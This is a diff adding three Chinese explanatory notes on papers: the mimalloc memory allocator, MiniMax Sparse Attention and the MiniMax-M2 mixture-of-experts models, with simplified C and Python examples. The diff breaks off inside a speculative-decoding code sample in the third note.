diff --git a/src/content/docs/papers/mimalloc-leijen-2019.md b/src/content/docs/papers/mimalloc-leijen-2019.md
new file mode 100644
index 000000000..903d816be
--- /dev/null
+++ b/src/content/docs/papers/mimalloc-leijen-2019.md
@@ -0,0 +1,268 @@
+---
+title: Mimalloc（Leijen 2019）— 用「分片空闲链表」让 malloc 又快又稳
+来源: https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**mimalloc**（读作 *me-malloc*）是微软研究院 Daan Leijen、Ben Zorn、Leonardo de Moura 在 2019 年 APLAS 上发表的通用内存分配器（技术报告 MSR-TR-2019-18）。它最初为 **Lean** 与 **Koka** 两个引用计数函数式语言的运行时设计，后来成为 Windows、Firefox、CPython（可选）、Rust 生态里常见的 `malloc` 替代品。
+
+日常类比：传统分配器像一家大超市的**中央退货台**——所有尺码的衣服（空闲块）混在一个大筐里，谁退货、谁拿货都要挤同一柜台。多线程时柜台前排长队，而且你刚买的衬衫和三个月前退的袜子可能被塞在一起，**cache  locality** 很差。
+
+mimalloc 的做法是：
+
+- 把退货筐按**货架区域**拆开（**free list sharding**：每个 *mimalloc page* 一条链，通常 64 KiB、只放同一 size class）；
+- 每个货架再摆**三个小筐**（**multi-sharding**：本线程释放、跨线程释放、已分配追踪各一条链）；
+- 店员按固定节奏偶尔离开「秒结账通道」做盘点（**temporal cadence**：延迟释放、跨线程回收、向 OS 还页）。
+
+你写的 `malloc(32)` 多数时候只是：在当前线程的 mimalloc page 上从**本线程空闲链**弹出一个块——**无锁、无全局 size class 大链、争用天然分散**。
+
+## 为什么重要
+
+不理解这篇论文，下面几件事很难讲清楚：
+
+- 为什么 mimalloc 在 Redis 上比 tcmalloc 快约 **7%**、比 jemalloc 快约 **14%**（论文 benchmark），且在一组顺序/并发测试里曲线更「平」
+- 为什么 **Swift / Python / Lean** 这类大量小对象 + 引用计数的运行时，会专门和分配器「谈合作」（延迟减引用、内存压力时唤醒）
+- 为什么现代分配器都在谈 **sharding**——jemalloc 的 arena、tcmalloc 的 per-CPU cache、mimalloc 的 page-local 三链表，是同一问题的不同答案
+- 为什么换 `LD_PRELOAD=libmimalloc.so` 有时比改业务代码还管用——热路径在分配器里
+
+论文动机很具体：Lean/Koka 运行时**海量短命小分配** + **引用计数**，现有 jemalloc 仍不够快；还需要在分配器里挂钩 **deferred free**（大结构析构时把减引用推迟到「有内存压力」的时刻），避免长时间 STW。
+
+## 核心概念
+
+### 1. mimalloc page：比 OS 页更小的「货架」
+
+在 64 位系统上，一个 **mimalloc page** 通常 **64 KiB**，内部只服务**一个 size class** 的块。这与 OS 的 4 KiB 页不同——它是分配器自己的管理粒度。
+
+好处：
+
+| 维度 | 全局 per-size-class 一条链 | mimalloc page 局部链 |
+|------|---------------------------|-------------------|
+| 局部性 | 释放分散，下次分配可能很远 | 在同 page 内填满再换页，**时间上相邻的分配地址也相邻** |
+| 碎片 | 大链混着各种生命周期的块 | page 空了就整块还给 OS（**eager purging**） |
+| 争用 | 所有线程抢同一条链头 | 数千条小链，碰撞概率像「随机散列」 |
+
+### 2. Free list sharding（空闲链表分片）
+
+经典 jemalloc/tcmalloc：每个 size class 维护**一条**（或一组 central）空闲链表。
+
+mimalloc：**每个 mimalloc page 各自一条空闲链**。`malloc` 优先在当前 page 分配，直到 page 满再向 segment 要新 page。`free` 把块还回**它所属 page** 的链——不会把远处 page 的空块和本地混在一起。
+
+直觉：你在 A 区货架拿东西，退回来的也挂回 A 区挂钩，而不是扔到商场总服务台。
+
+### 3. Free list multi-sharding（一页三条链）
+
+论文的核心创新：每个 page 不只有一条空闲链，而是 **三条**：
+
+| 链表 | 谁写入 | 典型操作 | 设计目的 |
+|------|--------|----------|----------|
+| **Local free** | 本线程 `free` | 链表头 push/pop | **热路径无锁** |
+| **Thread free** | 其他线程 `free` | 单次 **CAS** 挂到该链 | 跨线程释放不抢本线程链 |
+| **Used / allocated** | 分配器元数据 | 追踪已发出块 | 与空闲分离，便于维护 |
+
+跨线程 `free` 只需一次原子操作把块挂到目标 page 的 **thread free** 链，**不需要**和分配线程协调锁。全堆有成千上万条链，争用自然**打散**——论文把它类比成 skip list 里加「随机 oracle」降低结构化热点。
+
+分配时：先吃 local free；不够则合并 thread free 到 local（按 **temporal cadence** 节奏做，不是每次分配都合并）。
+
+### 4. Temporal cadence（时间节拍）
+
+若永远走「弹块 → 返回」的 fast path，**延迟维护**永远排不上队：thread free 堆着不合并、deferred RC 不跑、空 page 不还 OS。
+
+mimalloc 在 fast path 里埋**可预测的节拍**（例如用计数器低位）：每隔固定次数分配/释放，**故意**离开 fast path 做：
+
+- 把 thread free 合并进 local free；
+- 处理 **deferred free** 队列（引用计数运行时）；
+- 回收空 page、 `madvise`/`decommit` 给 OS。
+
+这样 worst-case 有界，又不会让维护逻辑「偶尔卡死一次」——对 Lean/Koka 的 **bounded wcat**（最坏情况分配时间）很重要。
+
+### 5. Segment 与线程本地堆
+
+多个 mimalloc page 组成 **segment**（通常 4 MiB 量级）。每个线程有 **thread-local heap**，分配默认只碰本线程的 page，减少跨线程元数据。
+
+v2/v3 演进还引入 **abandoned segment** 回收、**first-class heap**（多堆区域、整堆销毁）等，但 2019 论文的主线仍是 **page-local sharding + 三链表**。
+
+### 6. 面向引用计数运行时的钩子
+
+论文花篇幅讨论：当 RC 减到 0 要释放大树时，可在分配器里 **defer**——把「递归减子节点引用」放进延迟队列，在 **malloc 压力**或 cadence 节拍时批量处理。这样：
+
+- 避免在业务线程上深度递归 free；
+- 与 mimalloc 的「定期离开 fast path」自然对齐。
+
+这也是 mimalloc 进入 **Swift、Python nogil 分支** 等讨论的原因：语言运行时不再把分配器当黑盒 `malloc`，而是**协作者**。
+
+### 7. 与 jemalloc / tcmalloc 对照
+
+| 维度 | jemalloc | tcmalloc | mimalloc |
+|------|----------|----------|----------|
+| 分片单位 | arena（MB 级） | per-CPU / per-thread cache + central | **mimalloc page（64 KiB）** |
+| 空闲链粒度 | per arena × size class | per size class central + cache 链 | **per page × 三条链** |
+| 跨线程 free | 进 arena 锁或 tcache 流转 | transfer cache / central | **目标 page 上单 CAS** |
+| 空内存归还 | 可配置 | PageHeap 回收 | **page 空则 eager purge** |
+| 代码规模 | 大 | 中 | **~10k LOC，易嵌入运行时** |
+
+## 代码示例
+
+### 示例 1：零改代码替换系统 malloc
+
+mimalloc 可作为 `malloc`/`free` 的 drop-in 替换。Linux 上动态链接程序常用 `LD_PRELOAD`：
+
+```bash
+# 构建你的程序（照常链接 libc）
+cc -O2 -pthread -o bench bench.c
+
+# 对比：系统 malloc vs mimalloc
+/usr/bin/time -f '%e sec  maxrss=%MKB' ./bench
+/usr/bin/time -f '%e sec  maxrss=%MKB' \
+  LD_PRELOAD=/usr/lib/libmimalloc.so ./bench
+
+# 打开 mimalloc 统计（版本不同选项名略有差异）
+MIMALLOC_SHOW_STATS=1 LD_PRELOAD=libmimalloc.so ./bench
+```
+
+下面是一个多线程小对象风暴，能放大 **sharding** 与 **跨线程 free** 差异：
+
+```c
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define N_THREADS 16
+#define ITERS     200000
+
+static void *worker(void *arg) {
+    long id = (long)arg;
+    for (int i = 0; i < ITERS; i++) {
+        /* 48 B 很常见：落在独立 size class，内部碎片可控 */
+        void *p = malloc(48);
+        if (!p) return NULL;
+        memset(p, (int)(id + i), 48);
+
+        /* 故意让部分内存在别的线程 free：打 thread-free 链 + CAS 路径 */
+        if ((i & 7) == 0) {
+            static void *stash[N_THREADS];
+            if (stash[id]) free(stash[id]);
+            stash[id] = p;
+        } else {
+            free(p);
+        }
+    }
+    return NULL;
+}
+
+int main(void) {
+    pthread_t tid[N_THREADS];
+    for (long i = 0; i < N_THREADS; i++)
+        pthread_create(&tid[i], NULL, worker, (void *)i);
+    for (int i = 0; i < N_THREADS; i++)
+        pthread_join(tid[i], NULL);
+    puts("done");
+    return 0;
+}
+```
+
+**读这段代码时在发生什么**：
+
+1. 每线程第一次 `malloc` 绑定 thread-local heap，从当前 mimalloc page 的 **local free** 弹块。
+2. 同线程 `free` → 压回该 page 的 local free，**无锁**。
+3. `(i & 7) == 0` 时把块缓存在 `stash`，下一轮在同线程 `free` 上一块——仍 mostly local；若改成把指针交给**另一线程** `free`，则走 **thread free + CAS**，这正是 multi-sharding 要优化的路径。
+4. page 填满后换同 segment 新 page；segment 内无可用 page 时再向 OS 要内存。
+5. 用 mimalloc 跑通常比 glibc ptmalloc 锁争用少；论文在类似并发 micro-benchmark 上相对 jemalloc/tcmalloc 更稳。
+
+### 示例 2：First-class heap 与按区域批量释放
+
+mimalloc 提供 **heap 对象**（不是只认全局 `malloc`）。游戏引擎、JIT、区域分配器常需要「这一坨一起扔」：
+
+```c
+#include <mimalloc.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(void) {
+    /* 独立堆：与默认堆隔离，可整堆销毁 */
+    mi_heap_t *heap = mi_heap_new();
+
+    char *a = mi_heap_malloc(heap, 128);
+    char *b = mi_heap_malloc(heap, 256);
+    strcpy(a, "shard-A");
+    strcpy(b, "shard-B");
+
+    /* 模拟：一个请求作用域结束，不必逐个 free */
+    mi_heap_destroy(heap);  /* 一次释放 heap 内全部块 + 对应 page */
+
+    /* 默认堆仍可用 */
+    void *x = mi_malloc(64);
+    mi_free(x);
+    return 0;
+}
+```
+
+编译链接（已安装 mimalloc 开发包时）：
+
+```bash
+cc -o heap_demo heap_demo.c -lmimalloc
+./heap_demo
+```
+
+**设计要点**：
+
+- `mi_heap_malloc` 仍走同一套 page sharding，只是 **page 归属不同 heap**；
+- `mi_heap_destroy` 比 N 次 `free` 少碰全局结构，适合 **AST 遍历、编译 Pass 临时 arena**；
+- v3 起堆可从**任意线程**分配（true first-class），便于线程池里按任务域划堆。
+
+### 示例 3：观察 deferred / 安全模式（概念验证）
+
+论文里的 **deferred free** 与 **secure mode** 在应用层 API 上体现为选项与心跳钩子。下面片段展示**如何打开安全构建**（生产环境慎用，约 10% 开销）及打印统计的思路——具体宏因版本而异，以[官方文档](https://microsoft.github.io/mimalloc)为准：
+
+```c
+#include <mimalloc.h>
+#include <mimalloc-stats.h>
+
+int main(void) {
+    void *p = mi_malloc(1024);
+    mi_free(p);
+
+    /* 进程退出前查看分配器统计：page 数、峰值、桶分布 */
+    mi_stats_print(NULL);
+    return 0;
+}
+```
+
+Secure 构建（`MI_SECURE`）会加密空闲链、加 guard page、缓解 double-free——对应论文对**分配器即安全边界**的讨论，与性能模式分开。
+
+## 性能与工程结论（论文摘要）
+
+论文在 Redis、larson（多线程分配测试）、alloc-test 等基准上报告：
+
+- 相对 **tcmalloc** 约 **+7%**（Redis）
+- 相对 **jemalloc** 约 **+14%**（Redis）
+- 顺序与并发场景多数领先或持平，曲线**方差小**——「没有特别慢的 benchmark」对线上服务很重要
+
+实现侧亮点：
+
+- **~10k 行 C**，结构一致，适合嵌进语言运行时改钩子；
+- **eager page purging**：空 page 尽快 `decommit`，长跑服务 RSS 更友好；
+- 已被 **Lean 4、Koka、mi_malloc crate（Rust）** 等直接使用或可选链接。
+
+## 常见误区
+
+1. **「mimalloc page = 4 KiB OS 页」** — 错。64 KiB 是分配器逻辑页，和 TLB 页是两层概念。
+2. **「分片一定更省内存」** — 不一定。局部性变好、purge 更积极常**降 RSS**，但元数据（每 page 三条链头）有少量开销；要以 workload 实测为准。
+3. **「换 mimalloc 就不用管跨线程 free」** — multi-sharding 把 CAS 争用打散，**不是**消灭跨核流量；最佳仍是「谁分配谁释放」或 per-thread arena。
+4. **「只适用于 RC 语言」** — 论文动机来自 Lean/Koka，但 C/C++ 通用程序同样受益；RC 钩子是可选项。
+
+## 延伸阅读
+
+- 技术报告 PDF：[mimalloc-tr-v1.pdf](https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf)
+- 开源实现与 README：[microsoft/mimalloc](https://github.com/microsoft/mimalloc)
+- 同系列对比笔记：本库 [jemalloc（Evans 2006）](./jemalloc-evans-2006.md)、[TCMalloc](./tcmalloc-google-2007.md)
+- APLAS 2019 会议版：Springer LNCS 11893
+
+## 小结
+
+mimalloc 把「空闲链表」从**全局 per-size-class** 拆成 **per-page**，再在每页上拆成 **local / thread / used** 三条链，用 **temporal cadence** 把维护任务嵌进可预测的节拍。对零基础读者，只需记住类比：**别用大超市总退货台，改成每货架三个小筐，店员按固定节奏盘点**——这就是 *Free List Sharding in Action* 的「Action」：设计直接落在热路径代码与论文 benchmark 数字上。
diff --git a/src/content/docs/papers/mini-max-sparse-attention.md b/src/content/docs/papers/mini-max-sparse-attention.md
new file mode 100644
index 000000000..78b80120a
--- /dev/null
+++ b/src/content/docs/papers/mini-max-sparse-attention.md
@@ -0,0 +1,217 @@
+---
+title: MiniMax Sparse Attention — 用 Top-k 块选择把 1M 上下文塞进 GPU
+来源: 'Lai et al., "MiniMax Sparse Attention," arXiv 2606.13392, 2026'
+日期: 2026-06-13
+分类: 机器学习
+子分类: LLM系统
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+MiniMax Sparse Attention（简称 **MSA**）是 MiniMax 在 2026 年 6 月发表的一种**块级稀疏注意力**机制，目标是让 109B 参数的大模型以 1M（一百万）token 的上下文长度推理，同时保持和标准 GQA 一样的精度。日常类比：标准 attention 像让你在一百万本书里找答案——你要翻每一页（O(L²) 计算）；MSA 像先让一个"索引员"（Index Branch）快速扫一遍，挑出最可能有关的几千本，**只在这几千本里精读**。
+
+它做了三件事：
+
+1. **Index Branch（索引分支）**：一个轻量级模块，把 KV cache 切成固定大小的 block，给每个 block 打分，然后对每个 GQA group 独立选出 Top-k 个高得分 block
+2. **Main Branch（主分支）**：只做标准 attention，但**只在选中的 block 之间算**——不选中的 block 直接跳过
+3. **GPU 协同设计**：配套的推理 kernel 用 exp-free Top-k 和 KV-outer sparse attention 提高 tensor core 利用率
+
+结果：在 1M 上下文下，每 token attention 计算量降低 28.4 倍，配合 kernel 在 H800 上获得 14.2 倍 prefill 和 7.6 倍 decoding 加速。已开源推理 kernel（github.com/MiniMax-AI/MSA），生产模型 MiniMax-M3（109B，原生多模态）在 HuggingFace 可下载。
+
+## 为什么重要
+
+- **1M 上下文不是噱头**：agent 工作流、代码仓库级推理、持久记忆都要求模型同时"看到"几十到上百万 token，标准 softmax attention 的 O(L²) 复杂度在部署规模下完全不可行
+- **稀疏 attention 终于兼顾了精度和速度**：之前的方案（如 [[reformer-2020]] 的 LSH）是近似，有精度损失；MSA 在选中 block 内做**精确 attention**，在 109B 模型上"和 GQA 打平"
+- **GQA + 稀疏 = 工业友好**：MSA 不是从零发明注意力，而是在 GQA 之上叠一层轻量选择机制，和现有的多卡并行策略天然兼容
+- **从算法到 kernel 端到端设计**：不只是论文算法，还配套了 GPU kernel，exp-free Top-k 和 block-granular access 都是为 tensor core 定制的
+
+## 核心概念
+
+### 1. Block 化 KV Cache
+
+标准 attention 每次算 Q × K^T 时，K 是所有过去的 token。MSA 先把 KV pairs 按固定大小（比如 64 或 128 tokens）切块。每个 block 内部是密集的，block 之间是稀疏的：
+
+```
+KV Cache (L tokens):
+[B0] [B1] [B2] [B3] ... [B(n-1)]
+每个 block 64 tokens, 1M / 64 = 约 15625 个 blocks
+```
+
+### 2. Index Branch — 轻量级"索引员"
+
+对每个 query block，Index Branch 用一个轻量打分函数计算它和每个 KV block 的相关性得分。关键设计：
+
+- 打分函数要**极快**——不能比正式 attention 还重
+- 按 GQA group 独立选 Top-k —— 不同 group 可以关注不同区域
+- 选出来的 block 集合就是 Main Branch 要算的范围
+
+### 3. Top-k 选择的 exp-free 优化
+
+标准 softmax 里的 exp 在 GPU 上很慢。MSA 做了 exp-free Top-k：
+
+- 打分阶段不用 exp，直接用线性/余弦得分排序
+- Top-k 排序本身不需要 softmax 的数值稳定性——选 top 是 order-preserving 的
+
+### 4. KV-outer sparse attention
+
+Main Branch 的 attention 计算也是稀疏化的。传统 attention 是 Q_i × K_j（逐 token dot product），KV-outer 把它改成 block 级别的 outer product：
+
+```
+Q_block (b × d) × KV_block^T (d × b) = 结果 (b × b)
+```
+
+这样每次矩阵乘法覆盖一个 block 对，tensor core 利用率更高。
+
+## 代码示例
+
+### 示例 1：MSA 的前向流程（伪代码）
+
+```python
+def mini_max_sparse_attention(Q, KV_cache, GQA_groups, top_k=16, block_size=64):
+    """
+    MiniMax Sparse Attention 主流程
+    
+    Q:          (num_heads, seq_len, head_dim)
+    KV_cache:   list of blocks, each (num_kv_heads, block_size, head_dim * 2)
+    GQA_groups: list of head index lists, 每个 group 共享一组 KV
+    top_k:      每个 group 选多少个 block
+    block_size: 每个 block 的 token 数
+    """
+    num_kv_blocks = len(KV_cache)
+    
+    # --- Phase 1: Index Branch — 打分 & 选块 ---
+    # 对每个 GQA group，选 top-k 个高得分 KV block
+    selected_blocks = []  # list of [num_heads, top_k]
+    
+    for group_heads in GQA_groups:
+        # 取 group 内第一个 head 的 Q 和所有 KV blocks 做轻量打分
+        q_group = Q[group_heads[0]]  # (seq_len, head_dim)
+        scores = index_score(q_group, KV_cache)  # (seq_len, num_kv_blocks)
+        
+        # Top-k：选得分最高的 k 个 block
+        _, indices = torch.topk(scores, top_k, dim=-1)  # (seq_len, top_k)
+        selected_blocks.append(indices)
+    
+    # --- Phase 2: Main Branch — 精确稀疏 attention ---
+    # 只在选中的 block 上算 attention
+    output = torch.zeros_like(Q)
+    
+    for group_idx, group_heads in enumerate(GQA_groups):
+        indices = selected_blocks[group_idx]  # (seq_len, top_k)
+        
+        for head in group_heads:
+            q = Q[head]  # (seq_len, head_dim)
+            attn_weights = []
+            
+            for t in range(q.shape[0]):
+                block_ids = indices[t]  # (top_k,)
+                # 取出对应 block 的 K, V
+                k_selected, v_selected = gather_blocks(KV_cache, block_ids, block_size)
+                
+                # 标准 attention：(1, head_dim) × (head_dim, k*block_size)
+                logits = q[t] @ k_selected.T  # (1, top_k * block_size)
+                weights = torch.softmax(logits / sqrt(head_dim), dim=-1)
+                
+                # 加权求和
+                output[head, t] = weights @ v_selected  # (head_dim,)
+    
+    return output
+```
+
+### 示例 2：Index Branch 的轻量打分函数
+
+```python
+def index_score(q: torch.Tensor, kv_blocks: list, dim_reduction=8) -> torch.Tensor:
+    """
+    Index Branch 打分——要极快，不能有 exp
+    
+    q:           (seq_len, head_dim)
+    kv_blocks:   list of (block_size, head_dim * 2), 每个 block 含 K 和 V
+    dim_reduction: 降维维度，进一步加速
+    
+    返回: (seq_len, num_blocks) 的得分矩阵
+    """
+    seq_len, head_dim = q.shape
+    num_blocks = len(kv_blocks)
+    scores = torch.zeros(seq_len, num_blocks, device=q.device)
+    
+    # 对 KV blocks 预计算统计量（只需一次）
+    block_means = []
+    block_norms = []
+    
+    for block in kv_blocks:
+        k_block = block[:, :head_dim]  # (block_size, head_dim)
+        # 预取 block 的 mean 和 norm，打分时不再遍历每个 token
+        mean = k_block.mean(dim=0)  # (head_dim,)
+        norm = mean.norm() + 1e-8
+        block_means.append(mean)
+        block_norms.append(norm)
+    
+    # 降维投影（学习来的投影矩阵，矩阵乘法但维度小）
+    W_proj = torch.randn(head_dim, dim_reduction, device=q.device)
+    q_proj = q @ W_proj  # (seq_len, dim_reduction)
+    
+    # 批量打分：余弦相似度风格
+    for b_idx, (mean, norm) in enumerate(zip(block_means, block_norms)):
+        k_mean_proj = mean @ W_proj  # (dim_reduction,)
+        dot = q_proj @ k_mean_proj.T  # (seq_len, 1)
+        scores[:, b_idx] = dot.squeeze(-1) / norm
+    
+    return scores
+```
+
+## 踩过的坑
+
+1. **Top-k 的 k 值敏感**：k 太小会漏掉关键信息（精度下降），k 太大会稀释稀疏收益。论文在 1M 上下文下用 top-k=16 左右（每个 head 对应 16 × 64 = 1024 个 KV tokens），但不同长度和模型需要重调。
+
+2. **Index Branch 太复杂会反噬**：打分模块如果本身很重，就抵消了稀疏带来的节省。MSA 刻意做得非常轻量——降维投影 + 预计算的 block 均值打分，FLOPs 远低于正式 attention。
+
+3. **GQA group 间不平衡**：不同 GQA group 可能关注上下文的不同区域（比如一个 group 看开头，另一个看结尾），统一 top-k 不够，所以 MSA 做 group-specific 选择。
+
+4. **KV-outer 的 block 边界效应**：attention 本质上是对每个 token 独立算的，block 切分会在边界处引入不连续性。MSA 通过 block 内做完整 attention 缓解这个问题，但 block 间的跳跃仍可能造成局部精度下降。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 长上下文 LLM 推理（100K - 1M token）
+- 多模态模型处理超长输入（视频 / 长文档）
+- 需要部署在多种 GPU 上的生产系统（MSA 刻意追求"简单可部署"）
+
+**不适用**：
+
+- 短上下文（< 32K）—— overhead 大于收益
+- 对精度零容忍的任务——稀疏选择有信息丢失风险
+- 已有 FlashAttention + 充足显存的场景——如果显管够，标准 attention 够快就没必要上稀疏
+
+## 历史小故事（可跳过）
+
+- **2020**：Reformer（LSH）/ Longformer（滑窗）/ BigBird（随机 + 全局）把"稀疏 attention"推上主流
+- **2021-2023**：GQA（Grouped Query Attention）被提出，用少量 KV heads 共享大幅提升推理吞吐，成为 LLM 标配
+- **2024**：FlashAttention 不改变算法，只优化 GPU 数据搬运，精确 + 快，成为工业新基准
+- **2026-06**：MiniMax 把 GQA 和块级稀疏 attention 结合，用 Index Branch + Top-k 选择实现 28.4 倍计算量削减，同时在 109B 大模型上验证精度不掉。这是**首个在 109B 级别生产模型上验证的 block-sparse + GQA 方案**。
+
+## 学到什么
+
+1. **稀疏 attention 的第三条路**：不近似（像 Reformer LSH）、不只靠 IO 优化（像 FlashAttention），而是做**精确但稀疏**——选少量块做完整 attention
+2. **算法 + kernel 必须协同设计**：MSA 的 exp-free Top-k 和 KV-outer 不是附带的，是从第一天就为 tensor core 定制的
+3. **GQA 是稀疏 attention 的天然底座**：GQA 已经把 KV heads 分组了，每组独立选 Top-k 是顺水推舟
+4. **生产验证比论文指标更重要**：MSA 不只是 bench mark 数字，而是跑在 109B 多模态模型上并开源，这种级别验证在 sparse attention 里很少见
+
+## 延伸阅读
+
+- 论文：[MiniMax Sparse Attention (arXiv 2606.13392)](https://arxiv.org/abs/2606.13392)（30 页，14 张图）
+- 推理 kernel：[github.com/MiniMax-AI/MSA](https://github.com/MiniMax-AI/MSA)
+- 生产模型：[MiniMax-M3 (109B, 原生多模态)](https://huggingface.co/MiniMaxAI/MiniMax-M3)
+- [[attention]] —— Attention Is All You Need，MSA 改造的对象
+- [[reformer-2020]] —— 早期稀疏 attention，用 LSH 近似，精度有损失
+- [[flashattention-2]] —— 精确 attention 的 IO 优化版，和 MSA 思路互补
+
+## 关联
+
+- [[attention]] —— 标准 softmax attention，MSA 在它的上面加了一层稀疏选择
+- [[reformer-2020]] —— 前辈，LSH 近似 attention，MSA 走精确但稀疏路线
+- [[flashattention-2]] —— 精确 + IO 优化，和 MSA 的思路互补：MSA 减少计算量，FlashAttention 加速现有计算
+- [[longformer-2020]] —— 另一个稀疏 attention 方案，用滑窗 + 全局 token
diff --git a/src/content/docs/papers/minimax-m2-series.md b/src/content/docs/papers/minimax-m2-series.md
new file mode 100644
index 000000000..c34f01f62
--- /dev/null
+++ b/src/content/docs/papers/minimax-m2-series.md
@@ -0,0 +1,336 @@
+---
+title: "The MiniMax-M2 Series: Mini Activations Unleashing Max Intelligence"
+来源: https://arxiv.org/abs/2605.26494
+日期: 2026-06-13
+分类: 其他
+子分类: llm
+provenance: pipeline-v3
+---
+
+# MiniMax-M2 系列学习笔记
+
+## 一、一句话总结
+
+MiniMax-M2 是一系列"混合专家（MoE）"语言模型，核心思想是：**用极少的激活参数，做出最前沿的智能表现**。旗舰模型 M2.7 总参 2299 亿，但每个 token 只激活约 98 亿——相当于一个 2000 人团队里，每次只叫 100 个人来干活，却能达到和更大模型相当的效果。
+
+---
+
+## 二、核心概念：什么是"混合专家"（MoE）？
+
+### 2.1 日常类比：餐厅里的厨师团队
+
+想象一家超大餐厅，有 256 位厨师（这就是 256 个"专家"），但每个菜上桌时，餐厅并不会让所有厨师同时炒菜——那太浪费了。
+
+相反，餐厅有一个"调度员"（门控网络），每道菜只挑最合适的 8 位厨师来制作。比如一道川菜，调度员会叫川菜厨师；一道甜点，叫甜品厨师。
+
+- **总人数**：256 位厨师 = 模型的 2299 亿总参数
+- **每次出菜人数**：8 位厨师 = 每个 token 只激活 98 亿参数
+- **调度员**：sigmoid 门控网络，决定叫哪 8 位
+
+这样做的好处是：**模型可以非常大（知识量大），但推理成本很低（每次只算一部分）**。
+
+### 2.2 与传统 Dense 模型的对比
+
+| 特性 | Dense 模型（如 Llama 3 70B） | MoE 模型（如 M2） |
+|------|---------------------------|-------------------|
+| 总参数 | 700 亿 | 2299 亿 |
+| 每次激活 | 700 亿 | 98 亿 |
+| 推理速度 | 较慢 | 较快（因为只算 98 亿） |
+| 知识容量 | 较小 | 更大（256 个专业领域） |
+
+---
+
+## 三、M2 的三个关键创新
+
+### 3.1 创新一：智能体驱动的数据流水线
+
+传统大模型训练数据主要来自网页、书籍等静态内容。M2 的不同之处在于：它的训练数据大部分来自**模型自己在真实环境中完成任务的过程记录**。
+
+比如让模型去修一个 GitHub 上的 bug，跑在 Docker 容器里，测试通过了就算一条有效数据。这种"做过的事情"比"读过的文字"更有价值。
+
+具体包括四个方向：
+
+1. **智能体编码（Agentic Coding）**：从 GitHub 拉取真实的 bug 修复任务，自动生成 Docker 环境，让模型去修
+2. **智能体协作（Agentic Cowork）**：让模型做深度搜索、操作 Excel、生成 PPT 等办公任务
+3. **推理密集型任务**：数学题、科学问答
+4. **通用对话与写作**：保持基础语言能力
+
+### 3.2 创新二：Forge — 专为智能体设计的强化学习系统
+
+强化学习（RL）是让模型通过"试错"来变聪明的方法。但传统 RL 是为简单游戏设计的，而智能体任务可能涉及成百上千步操作、耗时从几秒到几小时不等。
+
+Forge 解决了三个矛盾：
+
+- **吞吐量**：想处理得越快越好
+- **稳定性**：想训练过程不崩溃
+- **灵活性**：想支持各种各样的智能体架构
+
+它通过三个解耦模块实现：
+
+```
+┌─────────────┐     ┌──────────────────┐     ┌─────────────────┐
+│  Agent 端    │────▶│  中间件抽象层     │────▶│  训练/推理端     │
+│ (产生轨迹)    │     │ (Gateway + 数据池) │     │ (CISPO 梯度更新)  │
+└─────────────┘     └──────────────────┘     └─────────────────┘
+```
+
+### 3.3 创新三：自我进化（Self-Evolution）
+
+最新的 M2.7 已经能**自己调试自己的训练过程**。当训练出现异常时，M2.7 会读取日志、定位问题、修改自己的配置文件，然后重新运行。在内部测试中，它能吸收每天 30%-50% 的人工迭代工作量。
+
+---
+
+## 四、关键技术细节（带代码示例）
+
+### 4.1 MoE 的门控机制
+
+M2 不使用传统的 softmax 门控（所有专家得分加起来必须等于 1），而是使用 **sigmoid 门控**——每个专家独立决定是否被激活。
+
+```python
+# 简化的 MoE 前向传播示意
+import torch
+import torch.nn as nn
+
+class MiniMaxMoE(nn.Module):
+    """
+    MiniMax-M2 的 MoE 层简化示意
+    
+    总专家数: 256
+    每次激活: top-8
+    门控方式: sigmoid（非 softmax）
+    """
+    def __init__(self, d_model=3072, num_experts=256, top_k=8, hidden_dim=8192):
+        super().__init__()
+        self.num_experts = num_experts
+        self.top_k = top_k
+        
+        # 门控网络：给每个专家一个独立的激活分数
+        self.gate = nn.Linear(d_model, num_experts, bias=True)
+        
+        # 256 个专家，每个是一个 FFN
+        self.experts = nn.ModuleList([
+            nn.Sequential(
+                nn.Linear(d_model, hidden_dim),
+                nn.GELU(),
+                nn.Linear(hidden_dim, d_model)
+            )
+            for _ in range(num_experts)
+        ])
+    
+    def forward(self, x):
+        """
+        x: (batch, seq_len, d_model)
+        """
+        batch, seq_len, d_model = x.shape
+        
+        # Step 1: 计算每个专家的门控分数
+        # gate_logits: (batch, seq_len, num_experts)
+        gate_logits = self.gate(x)
+        
+        # Step 2: 加上专家特定的偏置（帮助负载均衡）
+        expert_bias = nn.Parameter(torch.zeros(self.num_experts))
+        gate_logits = gate_logits + expert_bias
+        
+        # Step 3: Sigmoid 激活（每个专家独立判断）
+        gate_scores = torch.sigmoid(gate_logits)  # (batch, seq_len, num_experts)
+        
+        # Step 4: 选出得分最高的 top-k 个专家
+        topk_scores, topk_indices = torch.topk(gate_scores, k=self.top_k, dim=-1)
+        
+        # Step 5: 加权聚合专家输出
+        output = torch.zeros_like(x)
+        for b in range(batch):
+            for s in range(seq_len):
+                for idx in range(self.top_k):
+                    expert_id = topk_indices[b, s, idx].item()
+                    weight = topk_scores[b, s, idx]
+                    expert_out = self.experts[expert_id](x[b, s])
+                    output[b, s] += weight * expert_out
+        
+        return output
+
+# 使用示例
+moe_layer = MiniMaxMoE(d_model=3072, num_experts=256, top_k=8)
+dummy_input = torch.randn(2, 128, 3072)  # batch=2, seq=128
+output = moe_layer(dummy_input)
+print(f"输入形状: {dummy_input.shape}")
+print(f"输出形状: {output.shape}")
+# 输出形状: torch.Size([2, 128, 3072])
+```
+
+**关键点**：sigmoid 门控 vs softmax 门控的区别在于，sigmoid 不要求所有专家得分之和为 1。这意味着有可能多个专家同时高置信度地被激活，路由过程更平滑。
+
+### 4.2 多 Token 预测（MTP）与推测解码
+
+M2 不仅预测下一个 token，还同时预测接下来 K 个 token。这在推理时可以用于"推测解码"——主模型一次验证多个候选 token，大幅提升速度。
+
+```python
+# 简化的 MTP 推测解码示意
+def speculative_decoding_main_model_draft(
+    main_model,        # 主模型（2299 亿参数，256 个专家）
+    draft_models,      # MTP 模块（3 个，通过权重复制初始化）
+    prompt_tokens,     # 输入 token
+    max_new_tokens=10,
+    temperature=1.0
+):
+    """
